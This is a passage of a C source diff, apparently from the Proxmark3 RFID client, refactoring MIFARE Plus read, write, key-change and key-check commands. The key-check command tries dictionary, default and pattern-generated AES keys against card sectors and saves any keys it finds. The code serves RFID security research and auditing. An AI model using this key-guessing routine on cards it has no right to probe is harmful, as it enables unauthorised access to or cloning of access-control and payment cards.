argtable, true); @@ -747,35 +831,54 @@ static int CmdHFMFPAuth(const char *Cmd) { return MifareAuth4(NULL, keyn, key, true, false, true, verbose, false); } -static int data_crypt(mf4Session_t *mf4session, uint8_t *dati, uint8_t *dato, bool rev) { - uint8_t kenc[16]; - memcpy(kenc, mf4session->Kenc, 16); + +int mfp_data_crypt(mf4Session_t *mf4session, uint8_t *dati, uint8_t *dato, bool rev) { + uint8_t kenc[MFBLOCK_SIZE]; + memcpy(kenc, mf4session->Kenc, MFBLOCK_SIZE); + uint8_t ti[4]; memcpy(ti, mf4session->TI, 4); + uint8_t ctr[1]; - uint8_t IV[16] = {0, 0, 0x00, 0x00, 0x00, 0, 0x00, 0x00, 0x00, 0}; + uint8_t IV[MFBLOCK_SIZE] = { 0 }; + if (rev) { - ctr[0] = (uint8_t)(mf4session->R_Ctr & 0xff); - for (int i = 0; i < 9; i += 4) {memcpy(&IV[i], ctr, 1);} + + ctr[0] = (uint8_t)(mf4session->R_Ctr & 0xFF); + + for (int i = 0; i < 9; i += 4) { + memcpy(&IV[i], ctr, 1); + } + memcpy(&IV[12], ti, 4); // For reads TI is LS + } else { - ctr[0] = (uint8_t)(mf4session->W_Ctr & 0xff); - for (int i = 3; i < 16; i += 4) {memcpy(&IV[i], ctr, 1);} + + ctr[0] = (uint8_t)(mf4session->W_Ctr & 0xFF); + + for (int i = 3; i < MFBLOCK_SIZE; i += 4) { + memcpy(&IV[i], ctr, 1); + } + memcpy(&IV[0], ti, 4); // For writes TI is MS } + if (rev) { - aes_decode(IV, kenc, dati, dato, 16); + aes_decode(IV, kenc, dati, dato, MFBLOCK_SIZE); } else { - aes_encode(IV, kenc, dati, dato, 16); + aes_encode(IV, kenc, dati, dato, MFBLOCK_SIZE); } - return 0; + + return PM3_SUCCESS; } + static int CmdHFMFPRdbl(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf mfp rdbl", "Reads blocks from MIFARE Plus card", "hf mfp rdbl --blk 0 --key 000102030405060708090a0b0c0d0e0f -> executes authentication and read block 0 data\n" - "hf mfp rdbl --blk 1 -v -> executes authentication and shows sector 1 data with default key 0xFF..0xFF"); + "hf mfp rdbl --blk 1 -v -> executes authentication and shows sector 1 data with default key 0xFF..0xFF" + ); void *argtable[] = { arg_param_begin, @@ -807,7 +910,7 @@ static int CmdHFMFPRdbl(const char *Cmd) { mfpSetVerboseMode(verbose); - if (!keylen) { + if (keylen == 0) { memmove(key, mfp_default_key, 16); keylen = 16; } @@ -836,8 +939,9 @@ static int CmdHFMFPRdbl(const char *Cmd) { uint16_t uKeyNum = 0x4000 + sectorNum * 2 + (keyB ? 1 : 0); keyn[0] = uKeyNum >> 8; keyn[1] = uKeyNum & 0xff; - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "--block:%d sector[%u]:%02x key:%04x", blockn, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); + } mf4Session_t mf4session; int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); @@ -865,7 +969,10 @@ static int CmdHFMFPRdbl(const char *Cmd) { return PM3_ESOFT; } - if (!plain) data_crypt(&mf4session, &data[1], &data[1], true); + if (plain == false) { + mfp_data_crypt(&mf4session, &data[1], &data[1], true); + } + uint8_t sector = mfSectorNum(blockn); mf_print_sector_hdr(sector); @@ -893,7 +1000,8 @@ static int CmdHFMFPRdsc(const char *Cmd) { CLIParserInit(&ctx, "hf mfp rdsc", "Reads one sector from MIFARE Plus card", "hf mfp rdsc -s 0 --key 000102030405060708090a0b0c0d0e0f -> executes authentication and read sector 0 data\n" - "hf mfp rdsc -s 1 -v -> executes authentication and shows sector 1 data with default key"); + "hf mfp rdsc -s 1 -v -> executes authentication and shows sector 1 data with default key" + ); void *argtable[] = { arg_param_begin, @@ -922,7 +1030,7 @@ static int CmdHFMFPRdsc(const char *Cmd) { mfpSetVerboseMode(verbose); - if (!keylen) { + if (keylen == 0) { memmove(key, mfp_default_key, 16); keylen = 16; } @@ -940,8 +1048,9 @@ static int CmdHFMFPRdsc(const char *Cmd) { uint16_t uKeyNum = 0x4000 + sectorNum * 2 + (keyB ? 1 : 0); keyn[0] = uKeyNum >> 8; keyn[1] = uKeyNum & 0xff; - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "--sector[%u]:%02x key:%04x", mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); + } mf4Session_t mf4session; int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); @@ -976,7 +1085,11 @@ static int CmdHFMFPRdsc(const char *Cmd) { DropField(); return PM3_ESOFT; } - if (!plain) data_crypt(&mf4session, &data[1], &data[1], true); + + if (plain == false) { + mfp_data_crypt(&mf4session, &data[1], &data[1], true); + } + mf_print_block_one(blockno, data + 1, verbose); if (memcmp(&data[1 + 16], mac, 8) && !nomacres) { @@ -1058,8 +1171,9 @@ static int CmdHFMFPWrbl(const char *Cmd) { uint16_t uKeyNum = 0x4000 + sectorNum * 2 + (keyB ? 1 : 0); keyn[0] = uKeyNum >> 8; keyn[1] = uKeyNum & 0xff; - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "--block:%d sector[%u]:%02x key:%04x", blockNum & 0xff, mfNumBlocksPerSector(sectorNum), sectorNum, uKeyNum); + } mf4Session_t mf4session; int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); @@ -1067,7 +1181,11 @@ static int CmdHFMFPWrbl(const char *Cmd) { PrintAndLogEx(ERR, "Authentication error: %d", res); return res; } - if (!plain) data_crypt(&mf4session, &datain[0], &datain[0], false); + + if (plain == false) { + mfp_data_crypt(&mf4session, &datain[0], &datain[0], false); + } + uint8_t data[250] = {0}; int datalen = 0; uint8_t mac[8] = {0}; @@ -1161,24 +1279,35 @@ static int CmdHFMFPChKey(const char *Cmd) { PrintAndLogEx(ERR, " must be 16 bytes. Got %d", datainlen); return PM3_EINVARG; } + mf4Session_t mf4session; + keyn[0] = ki[0]; + if (ki[0] == 0x40) { // Only if we are working with sector keys + if (usekeyb) { keyn[1] = (ki[1] % 2 == 0) ? ki[1] + 1 : ki[1]; // If we change using key B, check if KI is key A } else { keyn[1] = (ki[1] % 2 == 0) ? ki[1] : ki[1] - 1; // If we change using key A, check if KI is key A } - } else {keyn[1] = ki[1];} + + } else { + keyn[1] = ki[1]; + } + if (verbose) { PrintAndLogEx(INFO, "--key index:", sprint_hex(keyn, 2)); } + int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); return res; } - data_crypt(&mf4session, &datain[0], &datain[0], false); + + mfp_data_crypt(&mf4session, &datain[0], &datain[0], false); + uint8_t data[250] = {0}; int datalen = 0; uint8_t mac[8] = {0}; @@ -1206,8 +1335,9 @@ static int CmdHFMFPChKey(const char *Cmd) { PrintAndLogEx(WARNING, "MAC card: %s", sprint_hex(&data[1], 8)); PrintAndLogEx(WARNING, "MAC reader: %s", sprint_hex(mac, 8)); } else if (!nomacres) { - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "MAC: %s", sprint_hex(&data[1], 8)); + } } DropField(); @@ -1260,7 +1390,7 @@ static int CmdHFMFPChConf(const char *Cmd) { mfpSetVerboseMode(verbose); - if (!keylen) { + if (keylen == 0) { memmove(key, mfp_default_key, 16); keylen = 16; } @@ -1279,18 +1409,23 @@ static int CmdHFMFPChConf(const char *Cmd) { PrintAndLogEx(ERR, " must be in range [0..3]. Got %d", blockNum); return PM3_EINVARG; } + mf4Session_t mf4session; keyn[0] = 0x90; keyn[1] = usecck ? 0x01 : 0x00; + if (verbose) { PrintAndLogEx(INFO, "--key index:", sprint_hex(keyn, 2)); } + int res = MifareAuth4(&mf4session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Authentication error: %d", res); return res; } - data_crypt(&mf4session, &datain[0], &datain[0], false); + + mfp_data_crypt(&mf4session, &datain[0], &datain[0], false); + uint8_t data[250] = {0}; int datalen = 0; uint8_t mac[8] = {0}; @@ -1317,9 +1452,10 @@ static int CmdHFMFPChConf(const char *Cmd) { PrintAndLogEx(WARNING, "WARNING: mac not equal..."); PrintAndLogEx(WARNING, "MAC card: %s", sprint_hex(&data[1], 8)); PrintAndLogEx(WARNING, "MAC reader: %s", sprint_hex(mac, 8)); - } else if (!nomacres) { - if (verbose) + } else if (nomacres == false) { + if (verbose) { PrintAndLogEx(INFO, "MAC: %s", sprint_hex(&data[1], 8)); + } } DropField(); @@ -1327,19 +1463,33 @@ static int CmdHFMFPChConf(const char *Cmd) { return PM3_SUCCESS; } -static int plus_key_check(uint8_t startSector, uint8_t endSector, uint8_t startKeyAB, uint8_t endKeyAB, - uint8_t keyList[MAX_AES_KEYS_LIST_LEN][AES_KEY_LEN], size_t keyListLen, uint8_t foundKeys[2][64][AES_KEY_LEN + 1], - bool verbose) { - int res; - bool selectCard = true; - uint8_t keyn[2] = {0}; +static int plus_key_check(uint8_t start_sector, uint8_t end_sector, uint8_t startKeyAB, uint8_t endKeyAB, + uint8_t *keys, size_t keycount, uint8_t foundKeys[2][64][AES_KEY_LEN + 1], + bool verbose, bool newline) { + + if (newline) { + PrintAndLogEx(INFO, "." NOLF); + } // sector number from 0 - for (uint8_t sector = startSector; sector <= endSector; sector++) { + for (uint8_t sector = start_sector; sector <= end_sector; sector++) { + // 0-keyA 1-keyB for (uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { + + // skip already found keys + if (foundKeys[keyAB][sector][0]) { + continue; + } + + int res; + bool selectCard = true; + + // reset current key pointer after each loop + uint8_t *currkey = keys; + // main cycle with key check - for (int i = 0; i < keyListLen; i++) { + for (int i = 0; i < keycount; i++) { // allow client abort every iteration if (kbd_enter_pressed()) { @@ -1355,18 +1505,21 @@ static int plus_key_check(uint8_t startSector, uint8_t endSector, uint8_t startK } uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB; - keyn[0] = uKeyNum >> 8; - keyn[1] = uKeyNum & 0xff; + uint8_t keyn[2] = { uKeyNum >> 8, uKeyNum & 0xff}; - for (int retry = 0; retry < 4; retry++) { - res = MifareAuth4(NULL, keyn, keyList[i], selectCard, true, false, false, true); - if (res == PM3_SUCCESS || res == PM3_EWRONGANSWER) + // authentication loop with retries + for (int retry = 0; retry < MFP_CHK_KEY_TRIES; retry++) { + + res = MifareAuth4(NULL, keyn, currkey, selectCard, true, false, false, true); + if (res == PM3_SUCCESS || res == PM3_EWRONGANSWER) { break; + } - if (verbose) + if (verbose) { PrintAndLogEx(WARNING, "\nretried[%d]...", retry); - else + } else { PrintAndLogEx(NORMAL, "R" NOLF); + } DropField(); selectCard = true; @@ -1375,38 +1528,52 @@ static int plus_key_check(uint8_t startSector, uint8_t endSector, uint8_t startK // key for [sector,keyAB] found if (res == PM3_SUCCESS) { - if (verbose) - PrintAndLogEx(INFO, "\nFound key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keyList[i], 16)); - else - PrintAndLogEx(NORMAL, "+" NOLF); + + if (verbose) { + PrintAndLogEx(INFO, "Found key for sector " _YELLOW_("%d") " key "_YELLOW_("%s") " [ " _GREEN_("%s") " ]", sector, (keyAB == 0) ? "A" : "B", sprint_hex_inrow(currkey, AES_KEY_LEN)); + } else { + PrintAndLogEx(NORMAL, _GREEN_("+") NOLF); + } foundKeys[keyAB][sector][0] = 0x01; - memcpy(&foundKeys[keyAB][sector][1], keyList[i], AES_KEY_LEN); + memcpy(&foundKeys[keyAB][sector][1], currkey, AES_KEY_LEN); + DropField(); selectCard = true; - msleep(50); +// msleep(50); + + // recursive test of a successful key + if (keycount > 1) { + plus_key_check(start_sector, end_sector, startKeyAB, endKeyAB, currkey, 1, foundKeys, verbose, false); + } // break out from keylist check loop, break; } - if (verbose) - PrintAndLogEx(WARNING, "\nsector %02d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keyList[i], 16), res); + if (verbose) { + PrintAndLogEx(WARNING, "\nsector %02d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(currkey, AES_KEY_LEN), res); + } // RES can be: // PM3_ERFTRANS -7 // PM3_EWRONGANSWER -16 if (res == PM3_ERFTRANS) { - if (verbose) + + if (verbose) { PrintAndLogEx(ERR, "\nExchange error. Aborted."); - else + } else { PrintAndLogEx(NORMAL, "E" NOLF); + } DropField(); return PM3_ECARDEXCHANGE; } selectCard = false; + + // set pointer to next key + currkey += AES_KEY_LEN; } } } @@ -1415,18 +1582,31 @@ static int plus_key_check(uint8_t startSector, uint8_t endSector, uint8_t startK return PM3_SUCCESS; } -static void Fill2bPattern(uint8_t keyList[MAX_AES_KEYS_LIST_LEN][AES_KEY_LEN], uint32_t *keyListLen, uint32_t *startPattern) { +static void Fill2bPattern(uint8_t keyList[MAX_AES_KEYS_LIST_LEN][AES_KEY_LEN], uint32_t *n, uint32_t *startPattern) { + + uint32_t cnt = 0; for (uint32_t pt = *startPattern; pt < 0x10000; pt++) { - keyList[*keyListLen][0] = (pt >> 8) & 0xff; - keyList[*keyListLen][1] = pt & 0xff; - memcpy(&keyList[*keyListLen][2], &keyList[*keyListLen][0], 2); - memcpy(&keyList[*keyListLen][4], &keyList[*keyListLen][0], 4); - memcpy(&keyList[*keyListLen][8], &keyList[*keyListLen][0], 8); - (*keyListLen)++; + + for (uint8_t i = 0; i < AES_KEY_LEN; i += 2) { + keyList[*n][i] = (pt >> 8) & 0xff; + keyList[*n][i + 1] = pt & 0xff; + } + + PrintAndLogEx(DEBUG, _YELLOW_("%4d") " - %s", *n, sprint_hex_inrow(keyList[*n], AES_KEY_LEN)); + + // increase number of keys + (*n)++; + cnt++; + *startPattern = pt; - if (*keyListLen == MAX_AES_KEYS_LIST_LEN) + + if (*n == MAX_AES_KEYS_LIST_LEN) { break; + } } + + PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%d") " pattern2 keys", cnt); + (*startPattern)++; } @@ -1437,9 +1617,10 @@ static int CmdHFMFPChk(const char *Cmd) { "Checks keys on MIFARE Plus card", "hf mfp chk -k 000102030405060708090a0b0c0d0e0f -> check key on sector 0 as key A and B\n" "hf mfp chk -s 2 -a -> check default key list on sector 2, only key A\n" - "hf mfp chk -d mfp_default_keys -s0 -e6 -> check keys from dictionary against sectors 0-6\n" + "hf mfp chk -f mfp_default_keys -s 0 -e 6 -> check keys from dictionary against sectors 0-6\n" "hf mfp chk --pattern1b --dump -> check all 1-byte keys pattern and save found keys to file\n" - "hf mfp chk --pattern2b --startp2b FA00 -> check all 2-byte keys pattern. Start from key FA00FA00...FA00"); + "hf mfp chk --pattern2b --startp2b FA00 -> check all 2-byte keys pattern. Start from key FA00FA00...FA00" + ); void *argtable[] = { arg_param_begin, @@ -1448,11 +1629,12 @@ static int CmdHFMFPChk(const char *Cmd) { arg_int0("s", "startsec", "<0..255>", "Start sector number"), arg_int0("e", "endsec", "<0..255>", "End sector number"), arg_str0("k", "key", "", "Key for checking (HEX 16 bytes)"), - arg_str0("d", "dict", "", "Dictionary file with keys"), + arg_str0("f", "file", "", "Dictionary file with default keys"), arg_lit0(NULL, "pattern1b", "Check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)"), arg_lit0(NULL, "pattern2b", "Check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)"), arg_str0(NULL, "startp2b", "", "Start key (2-byte HEX) for 2-byte search (use with `--pattern2b`)"), arg_lit0(NULL, "dump", "Dump found keys to JSON file"), + arg_lit0(NULL, "no-default", "Skip check default keys"), arg_lit0("v", "verbose", "Verbose output"), arg_param_end }; @@ -1460,88 +1642,117 @@ static int CmdHFMFPChk(const char *Cmd) { bool keyA = arg_get_lit(ctx, 1); bool keyB = arg_get_lit(ctx, 2); + uint8_t startSector = arg_get_int_def(ctx, 3, 0); uint8_t endSector = arg_get_int_def(ctx, 4, 0); - uint8_t keyList[MAX_AES_KEYS_LIST_LEN][AES_KEY_LEN] = {{0}}; uint32_t keyListLen = 0; + uint8_t keyList[MAX_AES_KEYS_LIST_LEN][AES_KEY_LEN] = {{0}}; uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {{{0}}}; - uint8_t vkey[16] = {0}; int vkeylen = 0; + uint8_t vkey[AES_KEY_LEN] = {0}; CLIGetHexWithReturn(ctx, 5, vkey, &vkeylen); - if (vkeylen > 0) { - if (vkeylen == 16) { - memcpy(&keyList[keyListLen], vkey, 16); - keyListLen++; - } else { - PrintAndLogEx(ERR, "Specified key must have 16 bytes. Got %d", vkeylen); - CLIParserFree(ctx); - return PM3_EINVARG; - } - } - uint8_t dict_filename[FILE_PATH_SIZE + 2] = {0}; - int dict_filenamelen = 0; - if (CLIParamStrToBuf(arg_get_str(ctx, 6), dict_filename, FILE_PATH_SIZE, &dict_filenamelen)) { - PrintAndLogEx(FAILED, "File name too long or invalid."); - CLIParserFree(ctx); - return PM3_EINVARG; - } + int fnlen = 0; + char filename[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); bool pattern1b = arg_get_lit(ctx, 7); bool pattern2b = arg_get_lit(ctx, 8); - if (pattern1b && pattern2b) { - PrintAndLogEx(ERR, "Pattern search mode must be 2-byte or 1-byte only."); - CLIParserFree(ctx); - return PM3_EINVARG; - } - - if (dict_filenamelen && (pattern1b || pattern2b)) { - PrintAndLogEx(ERR, "Pattern search mode and dictionary mode can't be used in one command."); - CLIParserFree(ctx); - return PM3_EINVARG; - } - - uint32_t startPattern = 0x0000; - uint8_t vpattern[2]; int vpatternlen = 0; + uint8_t vpattern[2]; CLIGetHexWithReturn(ctx, 9, vpattern, &vpatternlen); - if (vpatternlen > 0) { - if (vpatternlen <= 2) { - startPattern = (vpattern[0] << 8) + vpattern[1]; - } else { - PrintAndLogEx(ERR, "Pattern must be 2-bytes. Got %d", vpatternlen); - CLIParserFree(ctx); - return PM3_EINVARG; - } - if (!pattern2b) - PrintAndLogEx(WARNING, "Pattern entered, but search mode not is 2-byte search."); - } bool create_dumpfile = arg_get_lit(ctx, 10); - bool verbose = arg_get_lit(ctx, 11); + bool load_default = ! arg_get_lit(ctx, 11); + bool verbose = arg_get_lit(ctx, 12); + CLIParserFree(ctx); + // sanity checks + if (vkeylen && (vkeylen != AES_KEY_LEN)) { + PrintAndLogEx(ERR, "Specified key must have 16 bytes. Got %d", vkeylen); + return PM3_EINVARG; + } + + if (pattern1b && pattern2b) { + PrintAndLogEx(ERR, "Pattern search mode must be 2-byte or 1-byte only"); + return PM3_EINVARG; + } + + if (fnlen && (pattern1b || pattern2b)) { + PrintAndLogEx(ERR, "Pattern search mode and dictionary mode can't be used in one command"); + return PM3_EINVARG; + } + + if (vpatternlen && pattern2b == false) { + PrintAndLogEx(WARNING, "Pattern entered, but search mode not is 2-byte search"); + return PM3_EINVARG; + } + + if (vpatternlen > 2) { + PrintAndLogEx(ERR, "Pattern must be 2-bytes. Got %d", vpatternlen); + return PM3_EINVARG; + } + + uint32_t startPattern = (vpattern[0] << 8) + vpattern[1]; + + // read card UID + iso14a_card_select_t card; + int nxptype = MTNONE; + int res = mfp_read_card_id(&card, &nxptype); + if (res != PM3_SUCCESS) { + return res; + } + uint8_t startKeyAB = 0; uint8_t endKeyAB = 1; - if (keyA && (keyB == false)) + if (keyA && (keyB == false)) { endKeyAB = 0; + } - if ((keyA == false) && keyB) + if ((keyA == false) && keyB) { startKeyAB = 1; + } - if (endSector < startSector) + if (endSector < startSector) { endSector = startSector; + } + // Print generic information + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Check keys") " ----------"); + PrintAndLogEx(INFO, "Start sector... %u", startSector); + PrintAndLogEx(INFO, "End sector..... %u", endSector); + + char keytypestr[6] = {0}; + if (keyA == false && keyB == false) { + strcat(keytypestr, "AB"); + } + if (keyA) { + strcat(keytypestr, "A"); + } + if (keyB) { + strcat(keytypestr, "B"); + } + PrintAndLogEx(INFO, "Key type....... " _YELLOW_("%s"), keytypestr); + PrintAndLogEx(NORMAL, ""); + + // + // Key creation section + // // 1-byte pattern search mode if (pattern1b) { + for (int i = 0; i < 0x100; i++) { memset(keyList[i], i, 16); + PrintAndLogEx(DEBUG, _YELLOW_("%3d") " - %s", i, sprint_hex_inrow(keyList[i], AES_KEY_LEN)); } keyListLen = 0x100; + PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%d") " pattern1b keys", 0x100); } // 2-byte pattern search mode @@ -1549,87 +1760,58 @@ static int CmdHFMFPChk(const char *Cmd) { Fill2bPattern(keyList, &keyListLen, &startPattern); } - int res = PM3_SUCCESS; - // dictionary mode - size_t endFilePosition = 0; - if (dict_filenamelen) { - uint32_t keycnt = 0; - res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, 0, &endFilePosition, true); + uint8_t *key_block = NULL; + uint32_t keycnt = 0; - if (res == PM3_SUCCESS && endFilePosition) { - keyListLen = keycnt; - PrintAndLogEx(SUCCESS, "First part of dictionary successfully loaded."); - } + int ret = mfp_load_keys(&key_block, &keycnt, vkey, vkeylen, filename, fnlen, card.uid, load_default); + if (ret != PM3_SUCCESS) { + return ret; } - if (keyListLen == 0) { - for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { - if (hex_to_bytes(g_mifare_plus_default_keys[i], keyList[keyListLen], 16) != 16) { - break; - } + PrintAndLogEx(INFO, "Start check for keys..."); - keyListLen++; - } + // time + uint64_t t1 = msclock(); + + res = plus_key_check(startSector, endSector, startKeyAB, endKeyAB, key_block, keycnt, foundKeys, verbose, true); + if (res == PM3_EOPABORTED) { + t1 = msclock() - t1; + PrintAndLogEx(INFO, "\ntime in checkkeys " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); + return res; } - if (keyListLen == 0) { - PrintAndLogEx(ERR, "Key list is empty. Nothing to check."); - return PM3_EINVARG; - } else { - PrintAndLogEx(INFO, "Loaded " _YELLOW_("%"PRIu32) " keys", keyListLen); - } + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Start check for pattern based keys..."); + while (keyListLen) { - if (verbose == false) { - PrintAndLogEx(INFO, "Search keys"); - } - - while (true) { - res = plus_key_check(startSector, endSector, startKeyAB, endKeyAB, keyList, keyListLen, foundKeys, verbose); + res = plus_key_check(startSector, endSector, startKeyAB, endKeyAB, (uint8_t *)keyList, keyListLen, foundKeys, verbose, true); if (res == PM3_EOPABORTED) { break; } if (pattern2b && startPattern < 0x10000) { - if (verbose == false) { - PrintAndLogEx(NORMAL, "p" NOLF); - } - keyListLen = 0; + PrintAndLogEx(NORMAL, ""); Fill2bPattern(keyList, &keyListLen, &startPattern); continue; } - - if (dict_filenamelen && endFilePosition) { - if (verbose == false) - PrintAndLogEx(NORMAL, "d" NOLF); - - uint32_t keycnt = 0; - res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, endFilePosition, &endFilePosition, false); - if (res == PM3_SUCCESS && endFilePosition) { - keyListLen = keycnt; - } - - continue; - } break; } - if (verbose == false) { - PrintAndLogEx(NORMAL, ""); - } + t1 = msclock() - t1; + PrintAndLogEx(INFO, "\ntime in checkkeys " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); // print result char strA[46 + 1] = {0}; char strB[46 + 1] = {0}; - uint8_t ndef_key[] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7}; bool has_ndef_key = false; bool printedHeader = false; for (uint8_t s = startSector; s <= endSector; s++) { - if ((memcmp(&foundKeys[0][s][1], ndef_key, AES_KEY_LEN) == 0) || - (memcmp(&foundKeys[1][s][1], ndef_key, AES_KEY_LEN) == 0)) { + if ((memcmp(&foundKeys[0][s][1], g_mifarep_ndef_key, AES_KEY_LEN) == 0) || + (memcmp(&foundKeys[1][s][1], g_mifarep_ndef_key, AES_KEY_LEN) == 0)) { has_ndef_key = true; } @@ -1656,10 +1838,12 @@ static int CmdHFMFPChk(const char *Cmd) { PrintAndLogEx(INFO, " " _YELLOW_("%03d") " | %s | %s", s, strA, strB); } - if (printedHeader == false) - PrintAndLogEx(INFO, "No keys found("); - else - PrintAndLogEx(INFO, "-----+----------------------------------+----------------------------------\n"); + if (printedHeader == false) { + PrintAndLogEx(INFO, "No keys found"); + } else { + PrintAndLogEx(INFO, "-----+----------------------------------+----------------------------------"); + } + PrintAndLogEx(NORMAL, ""); // save keys to json if (create_dumpfile && printedHeader) { @@ -1669,47 +1853,37 @@ static int CmdHFMFPChk(const char *Cmd) { uint8_t data[10 + 1 + 2 + 1 + 256 + keys_len]; memset(data, 0, sizeof(data)); - // Mifare Plus info - SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); - - PacketResponseNG resp; - WaitForResponse(CMD_ACK, &resp); - - iso14a_card_select_t card; - memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); - - uint64_t select_status = resp.oldarg[0]; // 0: couldn't read, 1: OK, with ATS, 2: OK, no ATS, 3: proprietary Anticollision - uint8_t atslen = 0; - if (select_status == 1 || select_status == 2) { - memcpy(data, card.uid, card.uidlen); - data[10] = card.sak; - data[11] = card.atqa[1]; - data[12] = card.atqa[0]; - atslen = card.ats_len; - data[13] = atslen; - memcpy(&data[14], card.ats, atslen); - } + memcpy(data, card.uid, card.uidlen); + data[10] = card.sak; + data[11] = card.atqa[1]; + data[12] = card.atqa[0]; + data[13] = card.ats_len; + memcpy(&data[14], card.ats, card.ats_len); char *fptr = calloc(sizeof(char) * (strlen("hf-mfp-") + strlen("-key")) + card.uidlen * 2 + 1, sizeof(uint8_t)); + if (fptr == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } strcpy(fptr, "hf-mfp-"); FillFileNameByUID(fptr, card.uid, "-key", card.uidlen); // length: UID(10b)+SAK(1b)+ATQA(2b)+ATSlen(1b)+ATS(atslen)+foundKeys[2][64][AES_KEY_LEN + 1] - memcpy(&data[14 + atslen], foundKeys, keys_len); + memcpy(&data[14 + card.ats_len], foundKeys, keys_len); // 64 here is for how many "rows" there is in the data array. A bit confusing saveFileJSON(fptr, jsfMfPlusKeys, data, 64, NULL); free(fptr); } // MAD detection - if ((memcmp(&foundKeys[0][0][1], "\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7", AES_KEY_LEN) == 0)) { - PrintAndLogEx(HINT, "MAD key detected. Try " _YELLOW_("`hf mfp mad`") " for more details"); + if ((memcmp(&foundKeys[0][0][1], g_mifarep_mad_key, AES_KEY_LEN) == 0)) { + PrintAndLogEx(HINT, "Hint: MAD key detected. Try " _YELLOW_("`hf mfp mad`") " for more details"); } // NDEF detection if (has_ndef_key) { - PrintAndLogEx(HINT, "NDEF key detected. Try " _YELLOW_("`hf mfp ndefread -h`") " for more details"); + PrintAndLogEx(HINT, "Hint: NDEF key detected. Try " _YELLOW_("`hf mfp ndefread -h`") " for more details"); } PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; @@ -1754,7 +1928,7 @@ static int CmdHFMFPDump(const char *Cmd) { // read card uint8_t *mem = calloc(MIFARE_4K_MAXBLOCK * MFBLOCK_SIZE, sizeof(uint8_t)); if (mem == NULL) { - PrintAndLogEx(ERR, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1796,7 +1970,8 @@ static int CmdHFMFPMAD(const char *Cmd) { CLIParserInit(&ctx, "hf mfp mad", "Checks and prints MIFARE Application Directory (MAD)", "hf mfp mad\n" - "hf mfp mad --aid e103 -k d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 -> read and print NDEF data from MAD aid"); + "hf mfp mad --aid e103 -k d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 -> read and print NDEF data from MAD aid" + ); void *argtable[] = { arg_param_begin, @@ -1828,7 +2003,7 @@ static int CmdHFMFPMAD(const char *Cmd) { } uint8_t sector0[16 * 4] = {0}; - uint8_t sector10[16 * 4] = {0}; + uint8_t sector16[16 * 4] = {0}; if (mfpReadSector(MF_MAD1_SECTOR, MF_KEY_A, (uint8_t *)g_mifarep_mad_key, sector0, verbose)) { PrintAndLogEx(NORMAL, ""); @@ -1848,19 +2023,19 @@ static int CmdHFMFPMAD(const char *Cmd) { MAD1DecodeAndPrint(sector0, swapmad, verbose, &haveMAD2); if (haveMAD2) { - if (mfpReadSector(MF_MAD2_SECTOR, MF_KEY_A, (uint8_t *)g_mifarep_mad_key, sector10, verbose)) { + if (mfpReadSector(MF_MAD2_SECTOR, MF_KEY_A, (uint8_t *)g_mifarep_mad_key, sector16, verbose)) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(ERR, "error, read sector " _YELLOW_("0x10") ". Card doesn't have MAD or doesn't have MAD on default keys"); return PM3_ESOFT; } - MAD2DecodeAndPrint(sector10, swapmad, verbose); + MAD2DecodeAndPrint(sector16, swapmad, verbose); } if (aidlen == 2 || decodeholder) { uint16_t mad[7 + 8 + 8 + 8 + 8] = {0}; size_t madlen = 0; - if (MADDecode(sector0, sector10, mad, &madlen, swapmad)) { + if (MADDecode(sector0, sector16, mad, &madlen, swapmad)) { PrintAndLogEx(ERR, "can't decode MAD"); return PM3_EWRONGANSWER; } @@ -1907,7 +2082,7 @@ static int CmdHFMFPMAD(const char *Cmd) { if (aaid == mad[i]) { uint8_t vsector[16 * 4] = {0}; - if (mfReadSector(i + 1, 